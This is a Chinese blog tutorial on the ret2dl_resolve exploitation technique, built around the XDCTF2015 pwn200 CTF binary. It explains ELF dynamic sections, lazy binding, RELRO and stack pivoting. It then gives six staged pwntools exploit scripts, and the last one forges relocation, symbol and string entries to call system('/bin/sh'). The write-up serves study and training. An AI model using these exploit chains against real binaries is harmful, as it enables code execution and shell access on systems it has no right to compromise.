主頁 > 軟體設計 > 從o開始的pwn學習之超詳細ret2dl_resolve

從o開始的pwn學習之超詳細ret2dl_resolve

2021-05-03 07:59:59 軟體設計

文章目錄

  • 從o開始的pwn學習之超詳細ret2dl_resolve
    • 前置知識
      • 需要用到的節
      • _dll_runtime_resolve函式
      • 延遲系結機制
      • _dl_fixup()函式
      • RELRO
        • Full RELRO
        • NO RELRO
        • Partial RELRO
      • _dll_runtime_resolve干了什么
    • 實踐呼叫庫函式
      • 實體
          • 插一個有意思的小點,關于低地址gdb無法斷點除錯這件事
    • call指令的誕生與消亡
    • 堆疊遷移
    • ret2dl_resolve
      • level1
        • EXP1
      • level2
        • 目標
        • 計算 relloc_arg
        • EXP2
      • level3
        • 思路
        • EXP3
      • level4
        • 構造.dynsym
        • 利用構造的dynsym反推出r_info
          • r_info代表什么
          • 推出r_info
        • EXP
      • level5
        • EXP
      • level 6
      • Last EXP
      • 參考文章

從o開始的pwn學習之超詳細ret2dl_resolve

前置知識

需要用到的節

.dynamic:是ld.so使用的動態鏈接資訊,在/etc/ld.so.conf檔案中存放著需要動態加載的目錄,使用ldconfig就可以將ld.so.conf中的指定目錄的庫檔案加載到記憶體中,并記錄在/etc/ld.so.cache檔案中,ld.so.1檔案就可以在高速快取中訪問動態庫檔案,提高訪問速度,匯入元件,可以在/etc/ld.so.conf檔案中配置,或者使用LD_LIBRARY_PATH環境變數進行參考,當然,看不懂的話只要了解其含有指向.dynstr, .dynsym, .rel.plt的指標就好

結構如下

typedef struct
{
  Elf32_Sword   d_tag;                  /* Dynamic entry type */
  union
    {
      Elf32_Word d_val;                 /* Integer value */
      Elf32_Addr d_ptr;                 /* Address value */
    } d_un;
} Elf32_Dyn;

而對每一個有該型別的object,d_tag控制著d_un的解釋,

而在ida里我們可以看到的dynamic如下,

而我們著重關注的是以下三個

* DT_STRTAB

處于.dynamic的地址加0x44的位置

該元素保存著字串表地址,在第一部分有描述,包括了符號名,庫名,
和一些其他的在該表中的字串,指向.dynstr,

* DT_SYMTAB

處于.dynamic的地址加0x4c的位置

該元素保存著符號表的地址,在第一部分有描述,對32-bit型別的檔案來
說,關聯著一個Elf32_Sym入口,指向.dynsym,

* DT_JMPREL

處于.dynamic的地址加0x84的位置

假如存在,它的入口d_ptr成員保存著重定位入口(該入口單獨關聯著
PLT)的地址,假如lazy方式打開,那么分離它們的重定位入口讓動態連接
器在行程初始化時忽略它們,假如該入口存在,相關聯的型別入口DT_PLTRELSZ
和DT_PLTREL一定要存在,指向.rel.plt,

ld.so加載器:相應的組態檔是/etc/ld.so.conf,指定so庫的搜索路徑,是文本檔案,也可以通過定義$LD_LIBRARY_PATH的環境變數來指定程式運行時的.so檔案的搜索路徑,
動態裝載器(dynamic loader)

.dynstr:動態鏈接的字串表,保存動態鏈接所需的字串,比如符號表中的每個符號都有一個 st_name(符號名),他是指向字串表的索引,這個字串表可能就保存在 .dynstr,而.dynstr結構為正常的字串陣列,

.dynsym:動態鏈接的符號表,保存需要動態連接的符號表,而.dynsym結構如下

typedef struct
{
  Elf32_Word    st_name; //符號名,是相對.dynstr起始的偏移,這種參考字串的方式在前面說過了
  Elf32_Addr    st_value;
  Elf32_Word    st_size;
  unsigned char st_info;
  unsigned char st_other;
  Elf32_Section st_shndx;
}Elf32_Sym; 

.rel.plt:節的每個表項對應了所有外部程序呼叫符號的重定位資訊,而.rel.plt結構如下

typedef struct{
  Elf32_Addr r_offset;//指向GOT表的指標,即該函式在got表的偏移
  Elf32_Word r_info;
}Elf32_Rel

_dll_runtime_resolve函式

_dll_runtime_resolve是重定位函式,該函式會在行程運行時動態修改函式地址來達到重定位的效果,此函式無無延遲系結機制, 需要兩個引數,一個是 **reloc_arg ** ,就是函式自己的 plt 表項 push 的內容,一個是 link_map,這個是公共 plt 表項 push 進堆疊的,通過它可以找到.dynamic的地址

延遲系結機制

在程式運行時,有很多函式在程式執行時不會被用到,比如錯誤處理或者 用戶比較少用的功能模塊等,所以不需要所有函式在一開始就鏈接好,
延遲系結(Lazy Binding) 的基本思想是 函式第一次被呼叫時才進行系結(符號查找、重定位等),如果沒有則不進行系結,要實作 延遲系結 需要使用到名為 PLT(Procedure Linkage Table) 的方法,
而通常延遲系結機制又是通過呼叫 _dl_runtime_resolve函式來實作的,這也正是此函式沒有延遲系結的原因,

_dl_fixup()函式

_dl_fixup()函式在elf/dl_runtime.c中實作,用于決議匯入函式的真實地址,并改寫got表

RELRO

Full RELRO

禁用延遲系結,即所有的匯入符號在加載是便被決議,.got.plt段被完全初始化為目標函式的地址,并標記為只讀,很顯然,這種情況,我們幾乎用不了ret2dl_resolve的思路,

NO RELRO

這種情況就比較有意思了,由于關閉RELRO保護,使dynamic可寫,由于動態加載器是從.dynamic段的DT_STRTSB條目中來獲取.dynstr段的地址,此條目的位置是已知的,且可寫,于是我們可以改寫此條目的內容,欺騙動態裝載器,使其以為,dynstr段在.bss上,同時在此處偽造一個假的字串表,當其在決議函式時,就會是用不同的基地址找函式名,最終執行我們希望其執行的函式,

Partial RELRO

因為開啟Partial RELRO,使.dynamic段標記為只讀,不可寫,但我們知道relloc_arg對應ELF_REL在rel.plt段上的偏移,動態加載器將其加上rel.plt的基地址來得到目標ELF_REL的地址,然而,當這個記憶體地址超過了.rel.plt段,并達到.bss時,我們就可以在這里偽造一個ELF_REL,使r_offset是一個可寫的記憶體地址,來將決議后的函式地址寫到那里,同樣,使r_info的是一個能將動態裝載器導向攻擊者控制記憶體的下標,指向一個位于它后面的ELF_SYM,而ELF_SYM中的st_name指向我么希望執行的函式即可,

_dll_runtime_resolve干了什么

一定要看熟它!!!!看不懂多看幾遍

1.dl_runtime_resolve 有兩個引數,一個是 reloc_arg,存放著 Elf32_Rel 的指標對.rel.plt段的偏移量,一個是link_map,里面存放著一段地址,通過這段地址可以找到.dynamic段的地址

2通過 .dynamic 可以找到 .dynstr(+0x44)、.dynsym(+0x4c)、.rel.plt(+0x84) 的地址

3.rel.plt 的地址加上 reloc_arg 可以得到函式重定位表項 Elf32_Rel 的指標,里面存放著兩個變數 r_offset和r_info

4將 r_info>>8 可以得到 .dynsym 的下標

5.dynstr+這個下標(name_offset )得到的就是 st_name,而 st_name 存放的就是要呼叫函式的函式名

6在元件查找該函式后,把地址賦值給.rel.plt中對應條目的r_offset:指向對應got表的指標,賦值給GOT表后,一次函式的動態鏈接就完成了,

實踐呼叫庫函式

實體

我們用gdb除錯理解一下

參考文章

#include<stdio.h>
#include <unistd.h>

int main()

{
  char buf[200];
  setbuf(stdin, buf);
  read(0, buf, 128);
  puts(buf);

  return 0;

}

用gcc -o dynamic -m32 -fno-stack-protector -g hello_pwn.c 編譯

插一個有意思的小點,關于低地址gdb無法斷點除錯這件事

一些簡單的代碼在某些環境下很可能被編譯為Position-Independent Executable (PIE)以允許Address Space Layout Randomization (ASLR).在某些系統上,gcc被配置為默認創建PIE(這意味著選項-pie -fPIE被傳遞給gcc).

啟動GDB來除錯PIE時,它開始從0讀取地址,因為您的可執行檔案尚未啟動,因此沒有重新定位(在PIE中,包括.text部分在內的所有地址都是可重定位的,它們從0開始,類似于動態共享物件).而運行之后則會重新定位為所謂的“實際地址”,

回到正題,運行后,

gdb除錯,下個斷點

來到call,si跟進

此刻我們跳轉到了函式自己的plt表項

可以看到先是jmp到ebx+0x10,看一眼這里是什么,

發現就是跳到下一行,然后push了一個0x8(_dll_runtime_resolve函式的relloc_arg引數(Elf_Rel在rel.plt中的偏移)),然后jmp到0x56556020,而這里便是公共的plt表項

讓我們跟進來到公共的plt表項

由此我們的以得到link_map的地址,而通過link_map的地址,我們可以由此找到.dynamic的地址,從而找到在,dynamic里的各種節的地址,而通過網上的資料,我們了解到第三個地址便是dynamic的地址,

通過前置知識,我們可知道.dynstr, .dynsym, .rel.plt的位置依序如下

.rel.plt的地址加上引數relloc_arg得到的地址即是重定位表項Elf32_Rel的指標,記作rel

而如下,我們可得到r_offset = 0x4010 (重定位前) ,r_info = 0x00000407

然后我們將r_info>>8,即0x00000207>>8 = 2作為.dynsym中的下標, 此時我們來到.dynsym的位置,去找找read函式的名字串偏移;

于是我們得到偏移量記為name_offset為0x1b,我們再用dynstr+偏移量就是這個函式的函式名的地址(st_name)

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

在元件查找該函式后,把地址賦值給.rel.plt中對應條目的r_offset:指向對應got表的指標,賦值給GOT表后,把控制權返還給read,

于是除錯結束

call指令的誕生與消亡

眾所周知,執行call指令時會對堆疊進行初始化,開辟一塊空間給被呼叫的函式使用,而通常會用如下指令實作

push ebp #把ebp放進堆疊,即saved ebp
mov  ebp,esp

而call命令結束的時候則將這塊空間還回去,以如下指令實作

leave
ret

其中leave命令又相當于mov esp,ebp ; pop ebp;

那么有意思的事情就來了,如果我們在執行leave命令之前,讓ebp指向一個我們所希望的地址,那么理論上,pop ebp;之后,esp將-1個單位(4或8位),然后繼續執行我么所希望地址上的函式,那么這就會很令人開心了,

而這個方法就是所謂的堆疊遷移,

堆疊遷移

由于存在堆疊溢位漏洞,我們可以把堆疊覆寫成如下

由于呼叫read函式會在fake_ebp1寫下0x100個位元組,我們稱此地址為fake_ebp2

read呼叫結束后esp來到回傳地址執行leave_ret

首先執行mov esp,ebp命令;執行結束后,esp和ebp暫存器里面的值相同,且都指向bss段的地址fake ebp1

然后執行pop ebp;命令,由于fake ebp1指向fake_ebp2,所以pop后ebp指向fake_ebp2,

執行pop后,esp會減一個單位,如果這里剛好有我們一不小心部署好的函式地址,那就比較令人開心了,因為隨后執行的ret命令,將會剛好執行此函式,

而這就是堆疊遷移的原理,

ret2dl_resolve

level1

以write函式舉例輸出“/bin/sh”字串,而既然write能輸出“/bin/sh”,那么理論上system也行,

于是要完成如上操作,主要有兩個步驟

1、堆疊遷移到 bss 段

rop.raw('a' * offset) 
### 向新堆疊中寫0x100個位元組
rop.call('read',[0,base_stage,0x100])#基本等同于rop.read(0, base_stage, 0x100)
##rop.migrate會利用leave_ret自動部署遷移作業
rop.migrate(base_stage)
r.sendline(rop.chain())

2、控制 write 函式輸出相應的字串

sh = "/bin/sh"
rop.write(1, base_stage + 20, len(sh))
rop.raw(sh)
rop.raw('a' * (0x100 - len(rop.chain())))

可能大家對第二行有點蒙,但是如果說rop.write(1, base_stage + 20, len(sh))的長度便是二十是不是就可以理解了

EXP1

from pwn import *
elf = ELF('./pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')

offset = 112
bss_addr = elf.bss() #獲取bss段首地址

sh.recvuntil('Welcome to XDCTF2015~!\n')

## 將堆疊遷移到bss段
stack_size = 0x800
## 新堆疊空間大小為0x800
base_stage = bss_addr + stack_size 

rop.raw('a' * offset) 
### 向新堆疊中寫0x100個位元組
rop.call('read',[0,base_stage,0x100])#rop.read(0, base_stage, 0x100)
##rop.migrate會利用leave_ret自動部署遷移作業
rop.migrate(base_stage)
sh.sendline(rop.chain())

## 利用write列印字串"/bin/sh"
rop = ROP('./pwn200.out')
Bin = "/bin/sh"
rop.call('write',[1, base_stage + 20, len(Bin)])#rop.write(1, base_stage + 20, len(Bin))

print(len(rop.chain()))#列印出20,說明長度為20,那么直接在base_stage + 20寫上"/bin/sh"作為write的第一個引數

rop.raw(Bin)
rop.raw('a' * (0x100 - len(rop.chain())))

sh.sendline(rop.chain())
sh.interactive()
e1

發現成功列印

level2

目標

而顯然要達到我們的最終目的使用如上方法顯然是行不通的,于是我們循序漸進,嘗試利用plt[0]中的push linkmap以及跳轉到dl_resolve函式中的決議指令來代替直接呼叫write函式的手法,對.rel.plt進行遷移,

而我們具體要做什么我們其實只需跳到plt0地址,然后輸入我們虛假的relloc_arg其實便可以呼叫write()函式了,

即模擬如下兩步

call   0x56556030 <setbuf@plt>
jmp    DWORD PTR [ebx+0xc]#下一行
**push   relloc_arg**
**jmp    plt0**
push   link_map
jmp    dl_runtime_resovle

因此我們所需要的東西

1.plt0的地址

2.虛假的relloc_arg

那么plt0的地址我們可以通過**elf.get_section_by_name(’.plt’).header.sh_addr **找到,但relloc_arg需要我們計算出來

計算 relloc_arg

首先我們要知道.plt的作用是一個跳板,保存了某個符號在重定位表中的偏移量(用來第一次查找某個符號)和對應的.got.plt的對應的地址,于是我們明白.plt與.plt.rel一一對應,而.plt從結構體下標從1開始,.rel.plt的結構體下標是從0開始的,對應如下

根據上圖我們可以很清楚的了解到(write_plt-plt0)/16得到write在.plt的下標再減1可得到在.rel.plt的下標,而relloc_arg則在如上基礎乘8.

即relloc_arg=((elf.plt[‘write’] - plt0) / 16 - 1)*8

于是到這里我們便可以輕松的呼叫write了,

EXP2

from pwn import *
elf = ELF('pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')

offset = 112
bss_addr = elf.bss() #獲取bss段首地址

sh.recvuntil('Welcome to XDCTF2015~!\n')

## 將堆疊遷移到bss段
## 新堆疊空間大小為0x800
stack_size = 0x800
base_stage = bss_addr + stack_size 
### 填充緩沖區
rop.raw('a' * offset) 
### 向新堆疊中寫100個位元組
##rop.read會自動完成read函式、函式引數、回傳地址的堆疊部署
rop.read(0, base_stage, 100)
### 堆疊遷移, 設定esp = base_stage
##rop.migrate會利用leave_ret自動部署遷移作業
rop.migrate(base_stage)
sh.sendline(rop.chain())

rop = ROP('./pwn200.out')
BIN = "/bin/sh"

##獲取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
##計算write函式重定位索引
relloc_arg=((elf.plt['write'] - plt0) / 16 - 1)*8
print("plt0:")
print(plt0)
print("write_index:")
print(relloc_arg)
rop.raw(plt0)
relloc_arg1=int (relloc_arg)#這一步我也挺懵的,應該是rop.raw不能是float?
rop.raw(relloc_arg1)
## fake ret addr of write
rop.raw('bbbb')  ##write函式回傳地址
rop.raw(1)  ##write函式1參
rop.raw(base_stage + 24) ##write函式2參
rop.raw(len(BIN))  ##write函式3參
print("len:rop.chain():")
print(len(rop.chain()))#長度為24,所以可以在base_stage + 24寫上/bin/sh
rop.raw(BIN)
rop.raw('a' * (100 - len(rop.chain())))

sh.sendline(rop.chain())
sh.interactive()

level3

而接下來我們將要嘗試偽造一個ELF_REL結構體,使程式直接指向,而ELF_REL也不過就是.rel.plt的一個結構體,而該節的結構,我們在前置知識已經了解如下

typedef struct{
  Elf32_Addr r_offset;//指向GOT表的指標,即對got表的偏移量
  Elf32_Word r_info;
}Elf32_Rel

我們可以通過

readelf -r pwn200.out

得到該程式得到重定位資訊

這里記錄一個小點,有的師傅是用write_got = elf.got[‘write’]得到r_offset的,

思路

正常來說,我們是用.rel.plt+relloc_arg定位到ELF_REL的,所以有一個很簡單想法,在_dl_runtime_resolve函式沒有做邊界檢查的大前提下,我們可以將relloc_arg無限放大到.bss段上的偽ELF_REL,

我們設偽造偏移量偽fake_relloc,把偽造ELF_REL與base_stage的距離命名為offset,擁有小學數學水平的人也能夠很清楚的明白如下等式,base_stage+offset=.rel.plt+fake_relloc,即fake_relloc=.rel.plt+offset-base_stage.

那么現在我們唯一所需要的量就是offset了,有點難搞?列個表就清晰了,base_stage的內容如下,

因為是32位程式,所以每行為4位元組,那么到這里,我相信我們能憑借優秀的數數技術,數出offset為24.fake_relloc=.rel.plt+24-base_stage.

于是到這里,準備作業終于完成,

EXP3

from pwn import *
elf = ELF('pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')

offset = 112
bss_addr = elf.bss() #獲取bss段首地址

sh.recvuntil('Welcome to XDCTF2015~!\n')

## 將堆疊遷移到bss段
## 新堆疊空間大小為0x800
stack_size = 0x800
base_stage = bss_addr + stack_size 
### 填充緩沖區
rop.raw('a' * offset) 
### 向新堆疊中寫100個位元組
##rop.read會自動完成read函式、函式引數、回傳地址的堆疊部署
rop.read(0, base_stage, 100)
### 堆疊遷移, 設定esp = base_stage
##rop.migrate會利用leave_ret自動部署遷移作業
rop.migrate(base_stage)
sh.sendline(rop.chain())

# 列印字串"/bin/sh"
rop = ROP('./pwn200.out')
BIN = "/bin/sh"

## 獲取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
## 獲取.rel.plt地址
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
fake_relloc = base_stage + 24 - rel_plt
r_offset = 0x0804c01c 
r_info = 0x607

rop.raw(plt0)
rop.raw(fake_relloc)
rop.raw('bbbb') #write函式回傳地址
rop.raw(1) 
rop.raw(base_stage + 32)
rop.raw(len(BIN))
rop.raw(r_offset) 
rop.raw(r_info)
print("len:rop.chain():")
print(len(rop.chain()))#長度為32,所以可以在base_stage + 32寫上/bin/sh
rop.raw(BIN)
rop.raw('a' * (100 - len(rop.chain())))
sh.sendline(rop.chain())
sh.interactive()

level4

上一步我們在.bss段上偽造一個Elf_Rel,但聰明的孩子就會發現了,如果我們之后想呼叫system函式,那么r_info和r_offset肯定不能通過readelf讀出,r_offset比較好解決,直接用elf.got就可以得到,但r_info就沒這么容易了,那么我么下一步便要在.bss段上偽造一個dynsym,然后通過構造的dynsym反推出新的r_info.

構造.dynsym

根據前置知識,我們知道dynsym結構如下

typedef struct
{
  Elf32_Word    st_name; //符號名,是相對.dynstr起始的偏移,這種參考字串的方式在前面說過了
  Elf32_Addr    st_value;
  Elf32_Word    st_size;
  unsigned char st_info;
  unsigned char st_other;
  Elf32_Section st_shndx;
}Elf32_Sym; 

于是很明顯我們要是想構造一個dynsym,我們要知道st_name,st_value,st_size,st_info的數值,

通過readelf -a main讀出dynsym的下標

讀出下標為6,那么我們通過readelf -x .dynsym 讀出數值,

很明顯第七行即為write函式,st_name=0x42,st_value=0,st_size=0,st_info=0x12

利用構造的dynsym反推出r_info

總所周知r_info>>8=.dynsym中的下標,因此我們需要得到其下標

dynsym_index =(base_stage+24+8-dynsym)/16

但因為dynsym大小為16位元組,所以程式要找一個函式的dynsym節則要16個位元組16個位元組的找,所以正常來說我們的base_stage+24+8正確位置的可能性只有四分之一,說起來可能有點抽象來張圖解釋一下吧,

如上圖,只有當我們的base_stage+32在第一列的時候才能稱之為正確的地址,

欸嘿,當然憑借運氣的話,我們還是有可能攻擊成功的,但顯然,我們需要一種方法把這低的可憐的可能性提高一下,其實還是有挺多方法的,這里我們使用地址對齊即在偽造dynsym前加上一段垃圾資料,是我們構造的dynsym在一個正確的位置,那么垃圾資料的長度如何計算?

align = 0x10-((base_stage+24+8-dynsym)%16)

align = 0x10-((base_stage+24+8-dynsym)&0xf)

所以我們構造的dynsym的地址就是

fake_sym_addr = (0x10-((base_stage+24+8-dynsym)%16))+base_stage+24+8

或者

fake_sym_addr = (0x10-((base_stage+24+8-dynsym)& 0xf))+base_stage+24+8

于是該函式對于dynsym的下標為

dynsym_index =(fake_sym_addr-dynsym)/16

于是我們終于可以通過.dynsym結構體下標反推r_info了

r_info代表什么

r_info是0x?07的形式,其實稍微解釋一下,就是把偏移為?的匯入函式,07代表的是匯入函式的意思.

推出r_info

所以我們要做的就是將dynsym_index左移八位,再加上07識別符號就可以了

r_info = (dynsym_index<<8)+0x7

r_info = (dynsym_index<<8)|0x7 #因為bin(dynsym_index<<8)的后四位均為0所以與上0x7實際上就相當于加0x7

于是到這里我們終于準備好了,如果還有些模糊,再列個表表示堆疊布局如下

于是我們可以寫腳本了

EXP

from pwn import *
context.log_level = 'debug'

elf = ELF('pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')

offset = 112
bss_addr = elf.bss() #獲取bss段首地址

sh.recvuntil('Welcome to XDCTF2015~!\n')

## 將堆疊遷移到bss段
## 新堆疊空間大小為0x800
stack_size = 0x800
base_stage = bss_addr + stack_size 
### 填充緩沖區
rop.raw('a' * offset) 
### 向新堆疊中寫100個位元組
##rop.read會自動完成read函式、函式引數、回傳地址的堆疊部署
rop.read(0, base_stage, 100)
### 堆疊遷移, 設定esp = base_stage
##rop.migrate會利用leave_ret自動部署遷移作業
rop.migrate(base_stage)
sh.sendline(rop.chain())

# 列印字串"/bin/sh"
rop = ROP('./pwn200.out')
BIN = "/bin/sh"

## 獲取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
## 獲取.rel.plt地址
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
## 獲得.dynsym地址
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
align = 0x10-(base_stage+32-dynsym)%16
print(align)
fake_sym_addr = align + base_stage + 32
## 偽造的dynsym
st_name=0x42
st_value=0
st_size=0
st_info=0x12
fake_relloc = base_stage + 24 - rel_plt
r_offset = elf.got['write']
index_write = (fake_sym_addr - dynsym)/16 ##注意這里要用地板除,float不能左移
print(index_write)
r_info = (int(index_write)<<8)+0x7##利用構造的dyndym地址反推r_info
print(r_info)
rop.raw(plt0)
rop.raw(fake_relloc)
rop.raw('bbbb') #write函式回傳地址
rop.raw(1) 
rop.raw(base_stage + 52)
rop.raw(len(BIN))
rop.raw(r_offset) ##構造的ELF_REL
rop.raw(r_info)
rop.raw('a'*align)
rop.raw(st_name) ##構造的.dydnsym
rop.raw(st_value)
rop.raw(st_size)
rop.raw(st_info)
print("len:rop.chain():")
print(len(rop.chain()))#長度為52,所以可以在base_stage + 52寫上/bin/sh
rop.raw(BIN)
rop.raw('a' * (100 - len(rop.chain())))
sh.sendline(rop.chain())
sh.interactive()

level5

有了如上的經驗,接下來就會很輕松了,加油,勝利就在眼前,我們可以繼續偽造.dynstr,而從前置知識,我們知道.dynstr就是普通的字串陣列,只需要偽造一個需呼叫函式的函式名的字串即可,如我們想要呼叫write函式即需要構造write函式的字串“write\x00”(.dynstr中每一段字串都以\x00結尾)

而同時我們可以通過構造的字串地址對于.dynstr的偏移來算出新的st_name.

我們可以得到如下公式并算出st_name

st_name = base_stage + 24 +8 +align +16 - .dynstr

st_name = fake_sym_addr - .dynstr

雖然這里并不是很抽象,但還是寫一下堆疊的布局吧

好了,那么我們愉快的寫exp吧

EXP

from pwn import *
context.log_level = 'debug'

elf = ELF('pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')

offset = 112
bss_addr = elf.bss() #獲取bss段首地址

sh.recvuntil('Welcome to XDCTF2015~!\n')

## 將堆疊遷移到bss段
## 新堆疊空間大小為0x800
stack_size = 0x800
base_stage = bss_addr + stack_size 
### 填充緩沖區
rop.raw('a' * offset) 
### 向新堆疊中寫100個位元組
##rop.read會自動完成read函式、函式引數、回傳地址的堆疊部署
rop.read(0, base_stage, 100)
### 堆疊遷移, 設定esp = base_stage
##rop.migrate會利用leave_ret自動部署遷移作業
rop.migrate(base_stage)
sh.sendline(rop.chain())

# 列印字串"/bin/sh"
rop = ROP('./pwn200.out')
BIN = "/bin/sh"

## 獲取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
## 獲取.rel.plt地址
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
## 獲得.dynsym地址
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
## 獲得.dynstr地址
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
align = 0x10-(base_stage+32-dynsym)%16
print(align)
fake_sym_addr = align + base_stage + 32
st_name = fake_sym_addr +16 - dynstr
st_value=0
st_size=0
st_info=0x12
fake_relloc = base_stage + 24 - rel_plt
r_offset = elf.got['write']
index_write = (fake_sym_addr - dynsym)/16 ##注意這里要用地板除,float不能左移
print(index_write)
r_info = (int(index_write)<<8)+0x7##利用構造的dyndym地址反推r_info
print(r_info)
print(st_name)

rop.raw(plt0)
rop.raw(fake_relloc)
rop.raw('bbbb') #write函式回傳地址
rop.raw(1) 
rop.raw(base_stage + 58)
rop.raw(len(BIN))
rop.raw(r_offset) ##構造的ELF_REL
rop.raw(r_info)
rop.raw('a'*align)
rop.raw(st_name) ##構造的.dynsym
rop.raw(st_value)
rop.raw(st_size)
rop.raw(st_info)
rop.raw('write\x00')##偽造的.dynstr
print("len:rop.chain():")
print(len(rop.chain()))#長度為58,所以可以在base_stage + 58寫上/bin/sh
rop.raw(BIN)
rop.raw('a' * (100 - len(rop.chain())))
sh.sendline(rop.chain())
sh.interactive()

level 6

終于到了最后了,到現在,整個攻擊手法如下已經完成了

1.堆疊遷移到.bss段

2.偽造ELF_REL

3.偽造.dynsym

4.偽造.synstr

我們逐級遞進,而到這一步,我們要做的就是把write函式換為system函式,而聰明的同學已經發現了,因為之前的逐級遞進,我們現在并不用改什么了,只需要把我們偽造的.dynstr的字串換為’system\x00’就大功告成了,

堆疊布局如下

于是我們可以寫exp了

Last EXP

from pwn import *
context.log_level = 'debug'

elf = ELF('pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')

offset = 112
bss_addr = elf.bss() #獲取bss段首地址

sh.recvuntil('Welcome to XDCTF2015~!\n')

## 將堆疊遷移到bss段
## 新堆疊空間大小為0x800
stack_size = 0x800
base_stage = bss_addr + stack_size 
### 填充緩沖區
rop.raw('a' * offset) 
### 向新堆疊中寫100個位元組
##rop.read會自動完成read函式、函式引數、回傳地址的堆疊部署
rop.read(0, base_stage, 100)
### 堆疊遷移, 設定esp = base_stage
##rop.migrate會利用leave_ret自動部署遷移作業
rop.migrate(base_stage)
sh.sendline(rop.chain())

# 列印字串"/bin/sh"
rop = ROP('./pwn200.out')
BIN = "/bin/sh\0"##眾所周知一般的函式遇到 \0 才會結束讀取,所以為了防止system('/bin/shaaaaaaaa....aaaaa')的情況,我們要加上\0
## 獲取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
## 獲取.rel.plt地址
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
## 獲得.dynsym地址
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
## 獲得.dynstr地址
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
align = 0x10-(base_stage+32-dynsym)%16
print(align)
fake_sym_addr = align + base_stage + 32
st_name = fake_sym_addr +16 - dynstr
st_value=0
st_size=0
st_info=0x12
fake_relloc = base_stage + 24 - rel_plt
r_offset = elf.got['write']
index_write = (fake_sym_addr - dynsym)/16 ##注意這里要用地板除,float不能左移
print(index_write)
r_info = (int(index_write)<<8)+0x7##利用構造的dyndym地址反推r_info
print(r_info)
print(st_name)

rop.raw(plt0)
rop.raw(fake_relloc)
rop.raw('bbbb') #write函式回傳地址
rop.raw(base_stage + 59) 
rop.raw('aaaa')##事實上因為system只需要一個引數,另外兩個都不用寫,但為了不破壞原有的布局就填上垃圾資料即可
rop.raw('aaaa')
rop.raw(r_offset) ##構造的ELF_REL
rop.raw(r_info)
rop.raw('a'*align)
rop.raw(st_name) ##構造的.dynsym
rop.raw(st_value)
rop.raw(st_size)
rop.raw(st_info)
rop.raw('system\x00')##偽造的.dynstr
print("len:rop.chain():")
print(len(rop.chain()))#長度為58,所以可以在base_stage + 59寫上/bin/sh
rop.raw(BIN)
rop.raw('a' * (100 - len(rop.chain())))
sh.sendline(rop.chain())
sh.interactive()

參考文章

《程式員的自我修養》筆記4——動態鏈接

elf檔案型別六 Dynamic Section(動態section)

ld、ld.so命令和ld.so.conf組態檔

好好說話之ret2_dl_runtime_resolve

ok,完美收官,于是ret2dl_resolve的學習到這里終于結束了,真是一段漫長的時間,有問題歡迎各位師傅指出,另外,大家五一快樂!

轉載請註明出處,本文鏈接:https://www.uj5u.com/ruanti/282345.html

標籤:其他

上一篇:STL--deque、stack、queue

下一篇:21華東杯B題 建立新冠病毒群體免疫屏障 ?

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 面試突擊第一季,第二季,第三季

    第一季必考 https://www.bilibili.com/video/BV1FE411y79Y?from=search&seid=15921726601957489746 第二季分布式 https://www.bilibili.com/video/BV13f4y127ee/?spm_id_fro ......

    uj5u.com 2020-09-10 05:35:24 more
  • 第三單元作業總結

    1.前言 這應該是本學期最后一次寫作業總結了吧。總體來說,對作業的節奏也差不多掌握了,作業做起來的效率也更高了。雖然和之前的作業一樣,作業中都要用到新的知識,但是相比之前,更加懂得了如何利用工具以及資料。雖然之間卡過殼,但總體而言,這幾次作業還算完成的比較好。 2.作業程序總結 相比前兩個單元,此單 ......

    uj5u.com 2020-09-10 05:35:41 more
  • 北航OO(2020)第四單元博客作業暨課程總結博客

    北航OO(2020)第四單元博客作業暨課程總結博客 本單元作業的架構設計 在本單元中,由于UML圖具有比較清晰的樹形結構,因此我對其中需要進行查詢操作的元素進行了包裝,在樹的父節點中存盤所有孩子的參考。考慮到性能問題,我采用了快取機制,一次查詢后盡可能快取已經遍歷過的資訊,以減少遍歷次數。 本單元我 ......

    uj5u.com 2020-09-10 05:35:48 more
  • BUAA_OO_第四單元

    一、UML決議器設計 ? 先看下題目:第四單元實作一個基于JDK 8帶有效性檢查的UML(Unified Modeling Language)類圖,順序圖,狀態圖分析器 MyUmlInteraction,實際上我們要建立一個有向圖模型,UML中的物件(元素)可能與同級元素連接,也可與低級元素相連形成 ......

